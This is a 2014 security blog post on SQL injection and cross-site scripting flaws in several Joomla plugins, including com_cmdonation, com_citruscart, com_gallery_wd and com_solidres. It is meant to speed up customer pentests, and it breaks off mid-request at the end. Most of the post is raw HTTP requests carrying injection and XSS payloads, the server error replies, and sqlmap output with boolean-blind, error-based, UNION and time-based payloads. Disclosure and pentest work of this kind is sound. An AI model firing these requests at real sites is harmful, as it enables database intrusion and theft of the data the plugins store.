VULNERABILITIES IN POPULAR PLUGINS

Case 1 – Joomla

HauntIT Blog

23.12.2014

After a little talk with one of my friend I decide to write an article about popular vulnerabilities in popular content management systems. Main goal is: find and install the same environment (CMS and plugin's) as we can find during the webapp pentests of our customers.

It should help you to find out if the webapp of your customer is vulnerable or not (and speed up your pentests a little bit).

Because this article will describe Joomla based vulnerabilities, we can assume that we are using latest Joomla version (which is 3.3.6). All described here plugins are in "latest" version. All of them you can find somewhere in the internet.

During my tests I was looking for "more interesting than XSS" bugs. That's how I found multiple SQL Injections in multiple "latest" releases of popular Joomla plugins.

Below you will find information about vulnerabilities in:

- com_cmdonation - SQL Injection
- com_acymailing - SQL Injection
- com_alphauserpoints - SQL Injection / XSS
- com_citruscart - SQL Injection
- com_gallery_wd - SQL Injection / XSS
- com_dbreplacer - SQL Injection
- com_solidres - SQL Injection
- com_jdownloads - SQL Injection
- com_digistore - SQL Injection
- com_acymailing
- com_hikashop
- com_j2store
- com_digitalmarketx
- com_jevents and few more… ;)

This article will not tell you what is the SQL Injection attack. You can find this information on www.owasp.org or described at my blog (http://HauntIT.blogspot.com) as other mini-series (related to SQL Injection attacks or finding RCE in webapps).

So, I think we can start now.

First one is the SQL Injection found in **com_cmdonation** plugin. (As for all of the rest of described here vulnerabilities, reason of this bug is that there is no filtering or proper sanitization for input delivered from the user).

Request with vulnerable parameter - below:

```
POST /tests/joomla/administrator/index.php?option=com_cmdonation&view=campaigns HTTP/1.1
Host: 192.168.108.132
(...)
Content-Length: 218
```

```
filter_search=&limit=20&directionTable=asc&sortTable=a.name&limitstart=SQLI&task=&boxchecked
=0&filter_order=a.name&filter_order_Dir=desc&67a7d98ea2d00fae980c4dc879d072b9=1
```

As you can see, response will show us our favourite information when we're looking for SQL Injection vulnerabilities: "*You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near(…)*". Full response is below:

```
<h4 class="alert-heading">Error</h4>
<p>You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '-20, 20' at line 3 SQL=SELECT a.id, a.name,
a.checked_out, a.checked_out_time FROM `vbjlk_cmdonation_campaigns` AS a ORDER BY a.name
desc LIMIT -20, 20</p> </div>
```

(You can try to verify all of described here SQLi vulnerabilities by using very nice tool called sqlmap.)

Next one (also SQL Injection) is located in **com_acymailing:**

```
POST /tests/joomla/administrator/index.php?option=com_acymailing&ctrl=stats HTTP/1.1
Host: 192.168.108.132
(...)
Content-Length: 205

search=&limitstart=0&limit=20&option=com_acymailing&task=listing&ctrl=stats&boxchecked=0&filt
er_order=b.subject&filter_order_Dir=SQLI&67a7d98ea2d00fae980c4dc879d072b9=1
```

In response,wecan see that our payload is used in SQL query. Check this out:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 13:14:12 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'bodyonloadalert LIMIT 0, 20' at line 1
SQL=SELECT b.subject , b.alias , b.type , a.* , a.bouncedetails FROM vbjlk_acymailing_stats as a
JOIN vbjlk_acymailing_mail as b on a.mailid = b.mailid ORDER BY b.subject bodyonloadalert LIMIT
0, 20
Cache-Control: no-cache
Pragma: no-cache
(...)
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near &#039;bodyonloadalert LIMIT 0, 20&#039; at
line 1 SQL=SELECT b.subject , b.alias , b.type , a.* , a.bouncedetails FROM vbjlk_acymailing_stats as a
JOIN vbjlk_acymailing_mail as b on a.mailid = b.mailid ORDER BY b.subject bodyonloadalert LIMIT 0,
20</title>
```

For another popular plugin - **com_alphauserpoints –** we have 2 vulnerabilities. SQL Injection and XSS.

Cross Site Scripting is simple like that:

```
POST /tests/joomla/administrator/index.php?option=com_alphauserpoints HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 466

category=&rule_name=XSS&rule_description=aaaaaaaa&rule_plugin=aaaaaaaa&plugin_function=aa
aaaaaa&access=1&points2=&points=&fixedpoints=0&percentage=0&rule_expire=&type_expire_dat
e=0&published=0&autoapproved=1&method=4&linkup=0&displaymsg=0&msg=&notification=0&em
ailsubject=&emailbody=&emailformat=0&bcc2admin=0&option=com_alphauserpoints&task=saverul
e&id=&system=&duplicate=&blockcopy=&redirect=rules&boxchecked=0&chain=
```

As we can see, vulnerable parameter is *"rule_name".* **SQL Injection** you will find in *"datestart"* parameter:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 146

datestart=SQLI&Submit=Combine+activities&option=com_alphauserpoints&task=processarchive&bo
xchecked=0
```

Response – again - will present full SQL query:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 14:47:52 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'/onerror=alert(9999)&gt;&quot;)'
00:00:00' GROUP BY referreid' at line 1 SQL=SELECT SUM(points) AS sumAllPoints, referreid FROM
izsh_alpha_userpoints_details WHERE insert_date < '$("/src='x'/onerror=alert(9999)&gt;&quot;)'
00:00:00' GROUP BY referreid
Cache-Control: no-cache
(...)

<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near
&#039;x&#039;/onerror=alert(9999)&amp;gt;&amp;quot;)&#039; 00:00:00&#039; GROUP BY
referreid&#039; at line 1 SQL=SELECT SUM(points) AS sumAllPoints, referreid FROM
izsh_alpha_userpoints_details WHERE insert_date &lt;
&#039;$(&quot;/src=&#039;x&#039;/onerror=alert(9999)&amp;gt;&amp;quot;)&#039;
```

```
00:00:00&#039; GROUP BY referreid</title>
```

com_citruscart plugin is also vulnerable for SQL Injection attack:

```
POST /joomla/administrator/index.php?option=com_citruscart&controller=orders&view=orders
HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 1995

-----------------------------21460149895829
Content-Disposition: form-data; name="filter"

-----------------------------21460149895829
Content-Disposition: form-data; name="filter_id_from"

-----------------------------21460149895829
Content-Disposition: form-data; name="filter_id_to"

-----------------------------21460149895829
Content-Disposition: form-data; name="filter_date_from"
2014-12-17 00:00:00
-----------------------------21460149895829
Content-Disposition: form-data; name="filter_date_to"
2014-12-31 00:00:00
-----------------------------21460149895829
Content-Disposition: form-data; name="filter_datetype"
created
-----------------------------21460149895829
Content-Disposition: form-data; name="filter_user"

-----------------------------21460149895829
Content-Disposition: form-data; name="filter_total_from"

-----------------------------21460149895829
Content-Disposition: form-data; name="filter_total_to"

-----------------------------21460149895829
Content-Disposition: form-data; name="filter_orderstate"

-----------------------------21460149895829
Content-Disposition: form-data; name="limitstart"
0
-----------------------------21460149895829
Content-Disposition: form-data; name="order_change"
0
-----------------------------21460149895829
Content-Disposition: form-data; name="id"

-----------------------------21460149895829
Content-Disposition: form-data; name="task"
```

```
----------------------------21460149895829
Content-Disposition: form-data; name="boxchecked"

----------------------------21460149895829
Content-Disposition: form-data; name="filter_order"
'%3e"%3e%3cbody%2fonload%3dalert(9999)%3e
----------------------------21460149895829
Content-Disposition: form-data; name="filter_direction"
DESC
----------------------------21460149895829
Content-Disposition: form-data; name="67a7d98ea2d00fae980c4dc879d072b9"
1
----------------------------21460149895829--
```

Response will present full SQL query, so attacker can try to use this information as a next step during the attack:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 15:07:33 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'e3cbody2fonload3dalert99993e DESC' at line
20 SQL=SELECT  tbl.* , u.name AS user_name , u.username AS user_username , u.email , ui.phone_1
, ui.fax , ui.first_name as first_name, ui.last_name as last_name, ui.email as userinfo_email,
s.order_state_code , s.order_state_name , s.order_state_description , shipping.ordershipping_name
, oi.billing_company , oi.billing_last_name , oi.billing_first_name , oi.billing_middle_name ,
oi.billing_phone_1 , oi.billing_phone_2 , oi.billing_fax , oi.billing_address_1 , oi.billing_address_2 ,
oi.billing_city , oi.billing_zone_name , oi.billing_country_name , oi.billing_country_id ,
oi.billing_postal_code , oi.billing_tax_number , oi.shipping_company , oi.shipping_last_name ,
oi.shipping_first_name , oi.shipping_middle_name , oi.shipping_phone_1 , oi.shipping_phone_2 ,
oi.shipping_fax , oi.shipping_address_1 , oi.shipping_address_2 , oi.shipping_city ,
oi.shipping_zone_name , oi.shipping_country_name , oi.shipping_country_id ,
oi.shipping_postal_code , oi.shipping_tax_number , oi.user_email ,          (           SELECT
COUNT(items.orderitem_id)           FROM              izsh_citruscart_orderitems AS items
WHERE              items.order_id = tbl.order_id           )           AS items_count         FROM
izsh_citruscart_orders AS tbl LEFT JOIN izsh_citruscart_userinfo AS ui ON ui.user_id = tbl.user_id
LEFT JOIN izsh_users AS u ON u.id = tbl.user_id LEFT JOIN izsh_citruscart_orderstates AS s ON
s.order_state_id = tbl.order_state_id LEFT JOIN izsh_citruscart_orderinfo AS oi ON tbl.order_id =
oi.order_id LEFT JOIN izsh_citruscart_ordershippings AS shipping ON shipping.order_id =
tbl.order_id WHERE tbl.created_date >= '2014-12-17 00:00:00' AND tbl.created_date <= '2014-12-
31 00:00:00' ORDER BY 3e3e3cbody2fonload3dalert99993e DESC
```

Vulnerable parameters in this request are: “*filter_order*” and “*filter_direction*”.

During my tests I found that in this plugin, we can find also other vulnerable request. Copy/paste request from Burp will look like this:

```
POST /joomla/administrator/index.php?option=com_citruscart&view=reports&layout=view
HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 962

----------------------------234231759815678
Content-Disposition: form-data; name="filter_name"
asd
----------------------------234231759815678
Content-Disposition: form-data; name="filter_range"
custom
----------------------------234231759815678
Content-Disposition: form-data; name="filter_date_from"
$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")
----------------------------234231759815678
Content-Disposition: form-data; name="filter_date_to"
2014-12-24 00:00:00
----------------------------234231759815678
Content-Disposition: form-data; name="limit"
20
----------------------------234231759815678
Content-Disposition: form-data; name="67a7d98ea2d00fae980c4dc879d072b9"
1
----------------------------234231759815678
Content-Disposition: form-data; name="id"
10047
----------------------------234231759815678
Content-Disposition: form-data; name="task"
view
----------------------------234231759815678--
```

As you can see, this time, vulnerable parameter is *"filter_date_from"*. Response for this one is similar to one described before:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 15:15:49 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'%2fonerror%3dalert(9999)%3e")'        AND
tbl.last_updated <= '2014-12-24 00:00:00' ' at line 18 SQL=SELECT tbl.*, p.product_name ,
p.product_sku , p.product_model , p.product_full_image , p.product_ships , p.product_weight ,
p.product_length , p.product_width , p.product_height , p.product_recurs , p.product_enabled ,
p.product_notforsale , p.quantity_restriction , p.quantity_min , p.quantity_max , p.quantity_step ,
p.tax_class_id , p.recurring_payments , p.recurring_period_interval , p.recurring_period_unit ,
p.recurring_trial , p.recurring_trial_period_interval , p.recurring_trial_period_unit ,
p.recurring_trial_price , p.subscription_prorated , p.subscription_prorated_date ,
p.subscription_prorated_charge , p.subscription_prorated_term , p.subscription_period_unit ,
p.product_params ,
                              (
                              SELECT
                                        prices.product_price
                              FROM
                                        izsh_citruscart_productprices AS prices
                              WHERE
                                        prices.product_id = tbl.product_id
                                        AND prices.group_id = '1'
                                        AND prices.product_price_startdate <= '2014-12-16 15:15:51'
                                        AND (prices.product_price_enddate >= '2014-12-16 15:15:51' OR
prices.product_price_enddate = '0000-00-00 00:00:00' )
                                        ORDER BY prices.price_quantity_start ASC
                              LIMIT 1
                              )
                    AS product_price  FROM izsh_citruscart_carts AS tbl LEFT JOIN
izsh_citruscart_products AS p ON tbl.product_id = p.product_id WHERE tbl.last_updated >=
'$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")'      AND tbl.last_updated <= '2014-12-24
00:00:00'         AND LOWER(p.product_name) LIKE '%asd%' LIMIT 0, 20
Cache-Control: no-cache
```

Another vulnerable parameter in this request is called “*filter_date_to*”.

Now we will check few vulnerable parameters in **com_gallery_wd** plugin. First one – XSS – is presented in request below:

```
GET /
joomla/administrator/index.php?option=com_gallery_wd&view=filemanager&extensions=XSSHERE
&callback=bwg_add_image&tmpl=component HTTP/1.1
Host: 192.168.108.132
```

I think, two parameters in this GET are vulnerable: “*extensions*” and “*callback*”.

Second one, this time it is SQL Injection, is located in POST request:

```
POST
/tests/joomla/administrator/index.php?option=com_gallery_wd&view=galleries&task=edit&cid[]=5
HTTP/1.1
Host: 192.168.108.132
(…)
Cache-Control: no-cache

name=ssssssssss&slug=zzzzzzzz&cid%5B%5D=5&description=%3Cp%3Ezzzzzzzz%3C%2Fp%3E&previe
w_image=%2Fthumb%2Fconstantine031+(6).jpg&published=1&search_value=&current_id=5&page_
number=1&image_order_by=order&asc_or_desc=asc&ids_string=&order=5&task=galleries.ajax_sear
ch&ajax_task=ajax_save&image_current_id=&image_width=1600&image_height=1200
```

A short response grabbed during verification (you can use sqlmap for this) will look like:

```
Parameter: current_id (POST)
   Type: boolean-based blind
   Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
   Payload:
name=zzzzzzzz&slug=zzzzzzzz&cid[]=&description=<p>zzzzzzzz</p>&preview_image=/thumb/consta
ntine031 (6).jpg&published=1&search_value=&current_id=123 RLIKE (SELECT (CASE WHEN
(1159=1159) THEN 123 ELSE 0x28
END))&page_number=1&image_order_by=order&asc_or_desc=asc&ids_string=&order=0&task=galle
ries.ajax_search&ajax_task=ajax_apply&image_current_id=&image_width=1600&image_height=120
0

   Type: error-based
   Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
   Payload:
name=zzzzzzzz&slug=zzzzzzzz&cid[]=&description=<p>zzzzzzzz</p>&preview_image=/thumb/consta
ntine031 (6).jpg&published=1&search_value=&current_id=123 AND (SELECT 6231 FROM(SELECT
COUNT(*),CONCAT(0x71706a7071,(SELECT (CASE WHEN (6231=6231) THEN 1 ELSE 0
END)),0x716b766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY
x)a)&page_number=1&image_order_by=order&asc_or_desc=asc&ids_string=&order=0&task=galleri
es.ajax_search&ajax_task=ajax_apply&image_current_id=&image_width=1600&image_height=1200

   Type: UNION query
   Title: MySQL UNION query (NULL) - 1 column
   Payload:
name=zzzzzzzz&slug=zzzzzzzz&cid[]=&description=<p>zzzzzzzz</p>&preview_image=/thumb/consta
ntine031 (6).jpg&published=1&search_value=&current_id=123 UNION ALL SELECT
CONCAT(0x71706a7071,0x714175626f7052625151,0x716b766a71)#&page_number=1&image_orde
r_by=order&asc_or_desc=asc&ids_string=&order=0&task=galleries.ajax_search&ajax_task=ajax_appl
y&image_current_id=&image_width=1600&image_height=1200

   Type: AND/OR time-based blind
   Title: MySQL > 5.0.11 AND time-based blind
   Payload:
name=zzzzzzzz&slug=zzzzzzzz&cid[]=&description=<p>zzzzzzzz</p>&preview_image=/thumb/consta
ntine031 (6).jpg&published=1&search_value=&current_id=123 AND
SLEEP(5)&page_number=1&image_order_by=order&asc_or_desc=asc&ids_string=&order=0&task=g
alleries.ajax_search&ajax_task=ajax_apply&image_current_id=&image_width=1600&image_height=
1200
```

So, as you can see we have at last 4 ways to exploit this “latest version” plugin.

Com_gallery_wd is also vulnerable for SQLi, when you will try to request wrong “*page_number*”.

Request looks like this:

```
GET /
```

```
joomla/administrator/index.php?option=com_gallery_wd&search_value=&page_number=ï»¿-1000000000000000&image_order_by=order&asc_or_desc=asc&task=edit&cid[]=1 HTTP/1.1
Host: 192.168.108.132
```

Also vulnerable parameters here: “***image_order_by”, “asc_or_desc”, ”cid[]”.***

Let’s say, you want to see a little proof of concept again. Here we go:

```
Parameter: asc_or_desc (GET)
   Type: error-based
   Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
   Payload:
option=com_gallery_wd&search_value=&page_number=12&image_order_by=order&asc_or_desc=-5638 OR (SELECT 6346 FROM(SELECT COUNT(*),CONCAT(0x716a717171,(SELECT (CASE WHEN (6346=6346) THEN 1 ELSE 0 END)),0x7170787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&task=edit&cid[]=1
```

Also vulnerable here is: **“*ids_string*”.** In the same plugin we will find DOM-based XSS vulnerability (in “***dir”*** parameter):

```
POST
/joomla/administrator/index.php?option=com_gallery_wd&view=filemanager&extensions=jpg,jpeg,png,gif&callback=bwg_add_image&tmpl=component HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 319

upload_thumb_width=300&upload_thumb_height=300&files%5B%5D=&task=&extensions=jpg%2Cjpeg%2Cpng%2Cgif&callback=bwg_add_image&sort_by=name&sort_order=asc&items_view=thumbs&dir='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&file_names=&file_new_name=&new_dir_name=&clipboard_task=&clipboard_files=&clipboard_src=&clipboard_dest=
```

Another SQL Injection vulnerability found during tests for **com_gallery_wd** was located (again) in *“filter_order” and “filter_order_Dir”:*

```
POST /tests/joomla/administrator/index.php?option=com_gallery_wd HTTP/1.1
Host: 192.168.108.132
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://192.168.108.132/tests/joomla/administrator/index.php?option=com_gallery_wd&view=galleries
Cookie: dfced3b8ef8245f626640a33bb1d908f=r9ftajf7gq9c8s6juj77ln6a05;
4b2bd308908580106bec1f76d1018a83=eckvmpk8t33l8cc00iahp02ac4;
a75d756d58cab5d9e5091ce6a26a7f77=vn6ml0s001snhqo627d82nbf00
Connection: close
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 926

search=&limit=20&limitstart=0&ids%5B%5D=134&order_input_134=111&ids%5B%5D=133&order_i
nput_133=111&ids%5B%5D=132&order_input_132=110&ids%5B%5D=131&order_input_131=110&i
ds%5B%5D=130&order_input_130=109&ids%5B%5D=129&order_input_129=108&ids%5B%5D=128
&order_input_128=108&ids%5B%5D=127&order_input_127=107&ids%5B%5D=126&order_input_12
6=107&ids%5B%5D=125&order_input_125=106&ids%5B%5D=124&order_input_124=105&ids%5B%
5D=123&order_input_123=104&ids%5B%5D=122&order_input_122=103&ids%5B%5D=121&order_i
nput_121=103&ids%5B%5D=120&order_input_120=102&ids%5B%5D=119&order_input_119=101&i
ds%5B%5D=118&order_input_118=101&ids%5B%5D=117&order_input_117=100&ids%5B%5D=116
&order_input_116=100&ids%5B%5D=115&order_input_115=99&task=&current_id=&ids_string=134
%2C133%2C132%2C131%2C130%2C129%2C128%2C127%2C126%2C125%2C124%2C123%2C122%2C
121%2C120%2C119%2C118%2C117%2C116%2C115%2C&boxchecked=0&filter_order=ï»¿-
1000000000000000&filter_order_Dir=asc
```

Response should be similar to this one:

```
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Dec 2014 14:24:25 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '-1000000000000000 asc, id LIMIT 0, 20' at line
1 SQL=SELECT table1.*,table2.name as display_name FROM phqxt_bwg_gallery as table1 LEFT JOIN
phqxt_users as table2 ON table1.author=table2.id  WHERE   table1.author>=0  ORDER BY table1.-
1000000000000000 asc, id LIMIT 0, 20
Cache-Control: no-cache
```

In a next request, parameter *"id"* is vulnerable to SQL Injection:

```
POST /tests/joomla/administrator/index.php?option=com_gallery_wd&view=albums HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 236

name=qewqweqweqew&slug=qewqweqweqew&description=%3Cp%3Eqewqweqweqew%3C%2Fp%
3E&published=1&preview_image=&albums_galleries=0%3A0%3A14%2C&task=albums.save_album&
current_id=&id='%3e"%3e%3cscript%3e_%3dalert%3b_(9999)%3c%2fscript%3e&order=0
```

Response will present an error directly from SQL query:

```
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Dec 2014 15:09:40 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\'>\">_=alert;_(9999)' at line 1 SQL=DELETE
```

```
FROM phqxt_bwg_album_gallery WHERE album_id=\'>\">_=alert;_(9999)
Cache-Control: no-cache
```

That looks like *"album_id" (*in SQL query, but *"id"* in POST request*)* is vulnerable to SQL Injection attack again.

Another plugin I found vulnerable is mentioned **com_dbreplacer.** For this one, SQL Injection vulnerability is located in *"params[table]":*

```
POST
/tests/joomla/administrator/index.php?nn_qp=1&folder=administrator.components.com_dbreplacer
&file=dbreplacer.inc.php&field=columns&params[table]=$("%3cimg%2fsrc%3d'x'%2fonerror%3dale
rt(9999)%3e")&params[columns]=&params[search]=&params[case]=&params[replace]=&params[ro
ws]= HTTP/1.1
Host: 192.168.108.132
```

Response for this one should look like this one below:

```
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Dec 2014 20:36:11 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1146 Table 'joomla.$("<img/src='x'/onerror=alert(9999)>")' doesn't exist SQL=SHOW
COLUMNS FROM `$("<img/src='x'/onerror=alert(9999)>")`
Cache-Control: no-cache
Pragma: no-cache
```

Another plugin, and another SQL Injection ;) This time it is: **com_solidres.**

To trigger this vulnerability, POST request will look like this:

```
POST /tests/joomla/administrator/index.php?option=com_solidres&view=reservations HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 348

filter_search=ï»¿-
1000000000000000&filter_reservation_asset_id=&filter_published=&filter_payment_status=&filter_
payment_method_txn_id=&filter_checkin_from=&filter_checkin_to=&filter_checkout_from=&filter_
checkout_to=&limitstart=0&task=&boxchecked=0&filter_clear=0&filter_order=r.created_date&filter
_order_Dir=desc&ab557793806eb5ffee1fae8ab87e0902=1
```

During tests, you should see response from webapplication looking like this:

```
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation
'like' SQL=SELECT COUNT(*) FROM `phqxt_sr_reservations` AS r LEFT JOIN `phqxt_users`r1 ON
```

```
r.customer_id = r1.id WHERE r.code LIKE '%-1000000000000000%' Illegal mix of collations
(latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like' SQL=SELECT r.*,
CONCAT(r.customer_firstname, ' ', r.customer_middlename, ' ', r.customer_lastname ) as
customer_fullname FROM `phqxt_sr_reservations` AS r LEFT JOIN `phqxt_users`r1 ON r.customer_id
= r1.id WHERE r.code LIKE '%-1000000000000000%' ORDER BY r.created_date desc LIMIT 0, 20
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation
'like' SQL=SELECT COUNT(*) FROM `phqxt_sr_reservations` AS r LEFT JOIN `phqxt_users`r1 ON
r.customer_id = r1.id WHERE r.code LIKE '%-1000000000000000%'
```

In this request, also vulnerable parameters are: *“filter_payment_method_txn_id”, “filter_published”, “limitstart”.*

Different request but same parameter (“*filter_search*”) is vulnerable:

```
POST /tests/joomla/administrator/index.php?option=com_solidres&view=reservationassets
HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 224

limit=20&filter_search=ï»¿-
1000000000000000&filter_published=&filter_category_id=&filter_country_id=&filter_access=&limit
start=0&task=&boxchecked=0&filter_order=a.name&filter_order_Dir=desc&ab557793806eb5ffee1fa
e8ab87e0902=1
```

For this request, also vulnerable is *“limitstart”* parameter.

Another (POST request) SQL Injection in **com_solidres** plugin is here:

```
POST /tests/joomla/administrator/index.php?option=com_solidres&view=roomtype&layout=edit
HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 467

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[name]"
asdasdasd
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[alias]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[reservation_asset_id]"
ï»¿-1000000000000000
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[occupancy_adult]"
9
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[occupancy_child]"
10
```

```
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][0]"
10
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][1]"
10
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][2]"
10
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][3]"
0
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][4]"
0
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][5]"
0
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[default_tariff][0][0][6]"
0
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[standard_tariff_title]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[standard_tariff_description]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[state]"
1
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[description]"
<p>asdasdasdasdasdasdasdasdasd</p>
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[featured]"
0
-----------------------------21101289433177
Content-Disposition: form-data; name="jform[created_by]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[created_by_alias]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[created_date]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[modified_date]"

-----------------------------21101289433177
Content-Disposition: form-data; name="jform[ordering]"

-----------------------------21101289433177
```

```
Content-Disposition: form-data; name="jform[language]"
*
----------------------------21101289433177
Content-Disposition: form-data; name="jform[id]"
0
----------------------------21101289433177
Content-Disposition: form-data; name="jform[params][show_smoking_option]"
1
----------------------------21101289433177
Content-Disposition: form-data; name="jform[params][show_child_option]"
1
----------------------------21101289433177
Content-Disposition: form-data; name="jform[rooms][1][label]"
1
----------------------------21101289433177
Content-Disposition: form-data; name="jform[rooms][1][id]"
new
----------------------------21101289433177
Content-Disposition: form-data; name="jform[rooms][2][label]"
2
----------------------------21101289433177
Content-Disposition: form-data; name="jform[rooms][2][id]"
new
----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][free_cancellation]"
1
----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][breakfast_included]"
1
----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][taxes]"

----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][prepayment]"

----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][room_facilities]"

----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][room_size]"

----------------------------21101289433177
Content-Disposition: form-data; name="jform[roomtype_custom_fields][bed_size]"

----------------------------21101289433177
Content-Disposition: form-data; name="task"
roomtype.save
----------------------------21101289433177
Content-Disposition: form-data; name="ab557793806eb5ffee1fae8ab87e0902"
1
----------------------------21101289433177--
```

Vulnerable parameter is: *“jform[reservation_asset_id]”*.

Response is similar to all responses presented before:

```
<blockquote><span class="label label-inverse">1452</span> Cannot add or update a child row: a
foreign key constraint fails (`joomla`.`phqxt_sr_room_types`, CONSTRAINT
`fk_sr_room_types_sr_reservation_assets1` FOREIGN KEY (`reservation_asset_id`) REFERENCES
`phqxt_sr_reservation_assets` (`id`) ON DELETE NO ACTION ON) SQL=INSERT INTO
`phqxt_sr_room_types`
(`reservation_asset_id`,`name`,`alias`,`description`,`state`,`created_by`,`created_date`,`language`,`pa
rams`,`featured`,`ordering`,`occupancy_adult`,`occupancy_child`) VALUES
(&#039;-
1000000000000000&#039;,&#039;asdasdasd&#039;,&#039;asdasdasd&#039;,&#039;&lt;p&gt;asdas
dasdasdasdasdasdasdasd&lt;/p&gt;&#039;,&#039;1&#039;,&#039;&#039;,&#039;2014-12-12
22:32:55&#039;,&#039;*&#039;,&#039;{\&quot;show_smoking_option\&quot;:\&quot;1\&quot;,\&
quot;show_child_option\&quot;:\&quot;1\&quot;}&#039;,&#039;0&#039;,&#039;26&#039;,&#039;
9&#039;,&#039;10&#039;) </blockquote><p><a href="/tests/joomla/administrator" class="btn"><i
class="icon-dashboard"></i> Return to Control Panel</a></p><!-- End Content --></div>
```

Another bigger request to trigger (sqli) vulnerability in com_solidres looks like this:

```
POST
